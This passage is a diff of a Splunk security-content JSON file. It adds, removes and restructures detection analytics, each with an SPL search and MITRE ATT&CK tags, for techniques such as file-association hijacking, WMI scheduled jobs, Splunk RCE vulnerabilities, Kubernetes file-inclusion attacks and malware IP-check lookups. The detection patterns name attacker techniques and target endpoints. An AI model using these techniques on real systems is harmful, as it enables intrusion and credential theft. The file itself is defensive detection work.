"Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows PowerShell WMI Win32 ScheduledJob", - "description": "The following analytic detects the use of the Win32_ScheduledJob WMI class via PowerShell script block logging. This class, which manages scheduled tasks, is disabled by default due to security concerns and must be explicitly enabled through registry modifications. The detection leverages PowerShell event code 4104 and script block text analysis. Monitoring this activity is crucial as it may indicate malicious intent, especially if the class was enabled by an attacker. If confirmed malicious, this could allow attackers to persist in the environment by creating scheduled tasks.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*win32_scheduledjob*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_wmi_win32_scheduledjob_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell attempting to create a task via WMI - Win32_ScheduledJob, was ran on $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } } ], "external_reference": [ @@ -497078,178 +340999,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Suspicious Changes to File Associations", - "description": "This search looks for changes to registry values that control Windows file associations, executed by a process that is not typical for legitimate, routine changes to this area.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_name) as process_name values(Processes.parent_process_name) as parent_process_name FROM datamodel=Endpoint.Processes where Processes.process_name!=Explorer.exe AND Processes.process_name!=OpenWith.exe by Processes.process_id Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join [| tstats `security_content_summariesonly` values(Registry.registry_path) as registry_path count from datamodel=Endpoint.Registry where Registry.registry_path=*\\\\Explorer\\\\FileExts* by Registry.process_id Registry.dest | `drop_dm_object_name(\"Registry\")` | table process_id dest registry_path]| `suspicious_changes_to_file_associations_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows File Extension and Association Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.001", - "mitre_attack_technique": "Change Default File Association", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - } - ] - } - }, - { - "name": "Change Default File Association", - "description": "The following analytic detects suspicious registry modifications that change the default file association to execute a malicious payload. It leverages data from the Endpoint data model, specifically monitoring registry paths under \"*\\\\shell\\\\open\\\\command\\\\*\" and \"*HKCR\\\\*\". This activity is significant because altering default file associations can allow attackers to execute arbitrary scripts or payloads when a user opens a file, leading to potential code execution. If confirmed malicious, this technique can enable attackers to persist on the compromised host and execute further malicious commands, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\shell\\\\open\\\\command\\\\*\" Registry.registry_path = \"*HKCR\\\\*\" by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `change_default_file_association_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Prestige Ransomware", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted in $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.001", - "mitre_attack_technique": "Change Default File Association", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Change Default File Association For No File Ext", - "description": "The following analytic detects attempts to change the default file association for files without an extension to open with Notepad.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns and registry modifications. This activity is significant as it can indicate an attempt to manipulate file handling behavior, a technique observed in APT and ransomware attacks like Prestige. If confirmed malicious, this could allow attackers to execute arbitrary code by tricking users into opening files, potentially leading to system compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process=\"* add *\" AND Processes.process=\"* HKCR\\\\*\" AND Processes.process=\"*\\\\shell\\\\open\\\\command*\" AND Processes.process= *Notepad.exe* by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | rex field=process \"Notepad\\.exe (?.*$)\" | rex field=file_name_association \"\\.(?[^\\.]*$)\" | where isnull(extension) and isnotnull(file_name_association) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_change_default_file_association_for_no_file_ext_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process with commandline $process$ set or change the file association of a file with no file extension in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.001", - "mitre_attack_technique": "Change Default File Association", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -498230,113 +341979,44 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "web traffic" - }, - { - "technique_id": "T1071.002", - "x_mitre_is_subtechnique": true, - "technique": "File Transfer Protocols", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "remote code execution traffic" + "target_data_element": "web traffic" }, { - "name": "Detect Outbound SMB Traffic", - "description": "The following analytic detects outbound SMB (Server Message Block) connections from internal hosts to external servers. It identifies this activity by monitoring network traffic for SMB requests directed towards the Internet, which are unusual for standard operations. This detection is significant for a SOC as it can indicate an attacker's attempt to retrieve credential hashes through compromised servers, a key step in lateral movement and privilege escalation. If confirmed malicious, this activity could lead to unauthorized access to sensitive data and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` earliest(_time) as start_time latest(_time) as end_time values(All_Traffic.action) as action values(All_Traffic.app) as app values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.dest_port) as dest_port values(sourcetype) as sourcetype count from datamodel=Network_Traffic where (All_Traffic.action=allowed All_Traffic.direction=outbound All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=\"smb\") by All_Traffic.src_ip | `drop_dm_object_name(\"All_Traffic\")` | eval match=case( cidrmatch(\"10.0.0.0/8\" ,dest_ip) ,\"1\", cidrmatch(\"172.16.0.0/12\" ,dest_ip) ,\"1\", cidrmatch(\"192.168.0.0/16\" ,dest_ip) ,\"1\", cidrmatch(\"100.64.0.0/10\" ,dest_ip) ,\"1\", 1=1,\"0\") | search match=0 | fields - match | `security_content_ctime(start_time)` | `security_content_ctime(end_time)` | `detect_outbound_smb_traffic_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Hidden Cobra Malware", - "NOBELIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An outbound SMB connection from $src_ip$ in your infrastructure connecting to dest ip $dest_ip$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.002", - "mitre_attack_technique": "File Transfer Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Dragonfly", - "Kimsuky", - "SilverTerrier" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } + "technique_id": "T1071.002", + "x_mitre_is_subtechnique": true, + "technique": "File Transfer Protocols", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "remote code execution traffic" } ], "external_reference": [], @@ -499117,150 +342797,7 @@ "Event ID": "1000, 1001", "Event Name": "Windows Error Reporting" } - ], - { - "name": "Splunk Low Privilege User Can View Hashed Splunk Password", - "description": "The following analytic identifies low-privilege users attempting to view hashed Splunk passwords by querying the conf-user-seed REST endpoint. It leverages data from the `splunkd_web` logs, specifically monitoring access to the conf-user-seed endpoint. This activity is significant because it can indicate an attempt to escalate privileges by obtaining hashed credentials, potentially leading to admin account takeover. If confirmed malicious, this could allow an attacker to gain administrative control over the Splunk instance, compromising the entire environment's security.", - "search": "`splunkd_web` uri=\"*/servicesNS/nobody/system/configs/conf-user-seed*\" | stats earliest(_time) as event_time values(method) as method values(status) as status values(clientip) as clientip values(useragent) as useragent values(file) as file by user | convert ctime(*time) | `splunk_low_privilege_user_can_view_hashed_splunk_password_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Attempt to access Splunk hashed password file from $clientip$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1212", - "mitre_attack_technique": "Exploitation for Credential Access", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kubernetes Nginx Ingress LFI", - "description": "The following analytic detects local file inclusion (LFI) attacks targeting Kubernetes Nginx ingress controllers. It leverages Kubernetes logs, parsing fields such as `request` and `status` to identify suspicious patterns indicative of LFI attempts. This activity is significant because LFI attacks can allow attackers to read sensitive files from the server, potentially exposing critical information. If confirmed malicious, this could lead to unauthorized access to sensitive data, further exploitation, and potential compromise of the Kubernetes environment.", - "search": "`kubernetes_container_controller` | rex field=_raw \"^(?\\S+)\\s+-\\s+-\\s+\\[(?[^\\]]*)\\]\\s\\\"(?[^\\\"]*)\\\"\\s(?\\S*)\\s(?\\S*)\\s\\\"(?[^\\\"]*)\\\"\\s\\\"(?[^\\\"]*)\\\"\\s(?\\S*)\\s(?\\S*)\\s\\[(?[^\\]]*)\\]\\s\\[(?[^\\]]*)\\]\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\" | rename remote_addr AS src_ip, upstream_status as status, proxy_upstream_name as proxy | rex field=request \"^(?\\S+)\\s(?\\S+)\\s\" | eval phase=\"operate\" | eval severity=\"high\" | stats count min(_time) as firstTime max(_time) as lastTime by src_ip, status, url, http_method, host, http_user_agent, proxy, phase, severity, request | lookup local_file_inclusion_paths local_file_inclusion_paths AS request OUTPUT lfi_path | search lfi_path=yes | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kubernetes_nginx_ingress_lfi_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Local File Inclusion Attack detected on $host$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1212", - "mitre_attack_technique": "Exploitation for Credential Access", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kubernetes Nginx Ingress RFI", - "description": "The following analytic detects remote file inclusion (RFI) attacks targeting Kubernetes Nginx ingress controllers. It leverages Kubernetes logs from the Nginx ingress controller, parsing fields such as `remote_addr`, `request`, and `url` to identify suspicious activity. This activity is significant because RFI attacks can allow attackers to execute arbitrary code or access sensitive files on the server. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further compromise of the Kubernetes environment.", - "search": "`kubernetes_container_controller` | rex field=_raw \"^(?\\S+)\\s+-\\s+-\\s+\\[(?[^\\]]*)\\]\\s\\\"(?[^\\\"]*)\\\"\\s(?\\S*)\\s(?\\S*)\\s\\\"(?[^\\\"]*)\\\"\\s\\\"(?[^\\\"]*)\\\"\\s(?\\S*)\\s(?\\S*)\\s\\[(?[^\\]]*)\\]\\s\\[(?[^\\]]*)\\]\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\\s(?\\S*)\" | rex field=request \"^(?\\S+)?\\s(?\\S+)\\s\" | rex field=url \"(?\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\" | search dest_ip=* | rename remote_addr AS src_ip, upstream_status as status, proxy_upstream_name as proxy | eval phase=\"operate\" | eval severity=\"medium\" | stats count min(_time) as firstTime max(_time) as lastTime by src_ip, dest_ip status, url, http_method, host, http_user_agent, proxy, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kubernetes_nginx_ingress_rfi_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Remote File Inclusion Attack detected on $host$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1212", - "mitre_attack_technique": "Exploitation for Credential Access", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" @@ -501854,123 +345391,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Wermgr Process Connecting To IP Check Web Services", - "description": "The following analytic detects the wermgr.exe process attempting to connect to known IP check web services. It leverages Sysmon EventCode 22 to identify DNS queries made by wermgr.exe to specific IP check services. This activity is significant because wermgr.exe is typically used for Windows error reporting, and its connection to these services may indicate malicious code injection, often associated with malware like Trickbot. If confirmed malicious, this behavior could allow attackers to recon the infected machine's IP address, aiding in further exploitation and evasion tactics.", - "search": "`sysmon` EventCode =22 process_name = wermgr.exe QueryName IN (\"*wtfismyip.com\", \"*checkip.amazonaws.com\", \"*ipecho.net\", \"*ipinfo.io\", \"*api.ipify.org\", \"*icanhazip.com\", \"*ip.anysrc.com\",\"*api.ip.sb\", \"ident.me\", \"www.myexternalip.com\", \"*zen.spamhaus.org\", \"*cbl.abuseat.org\", \"*b.barracudacentral.org\",\"*dnsbl-1.uceprotect.net\", \"*spam.dnsbl.sorbs.net\") | stats min(_time) as firstTime max(_time) as lastTime count by Image process_name ProcessId QueryName QueryStatus QueryResults EventCode Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wermgr_process_connecting_to_ip_check_web_services_filter`", - "tags": { - "analytic_story": [ - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wermgr.exe process connecting IP location web services on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1590", - "mitre_attack_technique": "Gather Victim Network Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "HAFNIUM" - ] - }, - { - "mitre_attack_id": "T1590.005", - "mitre_attack_technique": "IP Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "Andariel", - "HAFNIUM", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Gather Victim Network Info Through Ip Check Web Services", - "description": "The following analytic detects processes attempting to connect to known IP check web services. This behavior is identified using Sysmon EventCode 22 logs, specifically monitoring DNS queries to services like \"wtfismyip.com\" and \"ipinfo.io\". This activity is significant as it is commonly used by malware, such as Trickbot, for reconnaissance to determine the infected machine's IP address. If confirmed malicious, this could allow attackers to gather network information, aiding in further attacks or lateral movement within the network.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*wtfismyip.com\", \"*checkip.*\", \"*ipecho.net\", \"*ipinfo.io\", \"*api.ipify.org\", \"*icanhazip.com\", \"*ip.anysrc.com\",\"*api.ip.sb\", \"ident.me\", \"www.myexternalip.com\", \"*zen.spamhaus.org\", \"*cbl.abuseat.org\", \"*b.barracudacentral.org\", \"*dnsbl-1.uceprotect.net\", \"*spam.dnsbl.sorbs.net\", \"*iplogger.org*\", \"*ip-api.com*\", \"*geoip.*\") | stats min(_time) as firstTime max(_time) as lastTime count by Image ProcessId QueryName QueryStatus QueryResults EventCode Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_network_info_through_ip_check_web_services_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DarkCrystal RAT", - "Phemedrone Stealer", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Process connecting IP location web services on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1590.005", - "mitre_attack_technique": "IP Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "Andariel", - "HAFNIUM", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1590", - "mitre_attack_technique": "Gather Victim Network Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "HAFNIUM" - ] - } - ] - } } ], "external_reference": [], @@ -502578,504 +345998,7 @@ "Event ID": "1000, 1001", "Event Name": "Windows Error Reporting" } - ], - { - "name": "Splunk App for Lookup File Editing RCE via User XSLT", - "description": "The following analytic identifies the creation of lookup files in Splunk, which could indicate an attempt to exploit remote code execution via user-supplied XSLT. It leverages REST API queries to monitor the creation of these lookups, focusing on fields such as title, author, and access control lists. This activity is significant because it targets a known vulnerability in Splunk versions 9.1.x, potentially allowing attackers to execute arbitrary code. If confirmed malicious, this could lead to unauthorized code execution, compromising the integrity and security of the Splunk environment.", - "search": "| rest splunk_server=local /services/data/lookup-table-files/ | fields title author disabled eai:acl.app eai:acl.owner eai:acl.sharing eai:appName eai:data | `splunk_app_for_lookup_file_editing_rce_via_user_xslt_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "eai:acl.app", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Please review $eai:acl.app$ for possible malicious lookups", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk Code Injection via custom dashboard leading to RCE", - "description": "The following analytic identifies attempts to exploit a vulnerability in Splunk Enterprise versions below 8.2.9, 8.1.12, and 9.0.2, where an authenticated user can execute arbitrary code via the dashboard PDF generation component. It detects this activity by analyzing events in the _internal index with the file=export parameter. This behavior is significant because it indicates a potential code injection attack, which could lead to remote code execution (RCE). If confirmed malicious, an attacker could gain unauthorized access, execute arbitrary commands, and potentially compromise the entire Splunk environment.", - "search": "`splunkd_ui` uri_path=*/data/ui/views/* OR uri_path=*saved/searches/* | dedup uri_path | eval URL=urldecode(\"uri_path\")| rex field=URL \"\\/saved\\/searches\\/(?[^\\/]*)\" | rex field=URL \"\\/data\\/ui\\/views\\/(?[^\\/]*)\" | eval NAME=NAME.\"( Saved Search )\",NAME1=NAME1.\"( Dashboard )\" | eval NAME=coalesce(NAME,NAME1) | eval STATUS=case(match(status,\"2\\d+\"),\"SUCCESS\",match(status,\"3\\d+\"),\"REDIRECTION\",match(status,\"4\\d+\") OR match(status,\"5\\d+\"),\"ERROR\") | stats list(NAME) as DASHBOARD_TITLE,list(method) as HTTP_METHOD,list(status) as Status_Code,list(STATUS) as STATUS by user | rename user as User | `splunk_code_injection_via_custom_dashboard_leading_to_rce_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential exploitation of Code Injection via Dashboard PDF generation.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk RCE via Splunk Secure Gateway Splunk Mobile alerts feature", - "description": "The following analytic identifies potential exploitation attempts against the Splunk Secure Gateway App's Mobile Alerts feature in Splunk versions 9.0, 8.2.x, and 8.1.x. It detects suspicious activity by monitoring requests to the mobile alerts endpoint using specific URI paths and query parameters. This activity is significant because an authenticated user could exploit this vulnerability to execute arbitrary operating system commands remotely. If confirmed malicious, this could lead to unauthorized code execution, compromising the integrity and security of the Splunk environment.", - "search": "`splunkda` uri_path=\"/servicesNS/nobody/splunk_secure_gateway/storage/collections/data/mobile_alerts*\" sort=\"notification.created_at:-1\" | table clientip file host method uri_query sort | `splunk_rce_via_splunk_secure_gateway__splunk_mobile_alerts_feature_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation attempt from $clientip$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk RCE via User XSLT", - "description": "The following analytic identifies potential remote code execution (RCE) attempts via user-supplied Extensible Stylesheet Language Transformations (XSLT) in Splunk versions 9.1.x. It detects this activity by analyzing `splunkd_ui` logs for specific URI patterns and status codes indicative of XSLT injection attempts. This activity is significant because successful exploitation could allow an attacker to execute arbitrary code on the Splunk server. If confirmed malicious, this could lead to full system compromise, unauthorized data access, and further lateral movement within the network.", - "search": "`splunkd_ui` ((uri=\"*NO_BINARY_CHECK=1*\" AND \"*input.path=*.xsl*\") OR uri=\"*dispatch*.xsl*\") AND uri!= \"*splunkd_ui*\" | rex field=uri \"(?=\\s*([\\S\\s]+))\" | eval decoded_field=urldecode(string) | eval action=case(match(status,\"200\"),\"Allowed\",match(status,\"303|500|401|403|404|301|406\"),\"Blocked\",1=1,\"Unknown\") | stats count min(_time) as firstTime max(_time) as lastTime by clientip useragent uri decoded_field action host | rename clientip as src, uri as dest_uri | iplocation src | fillnull value=\"N/A\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime, lastTime src, useragent, action, count, Country, Region, City, dest_uri, decoded_field | `splunk_rce_via_user_xslt_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - 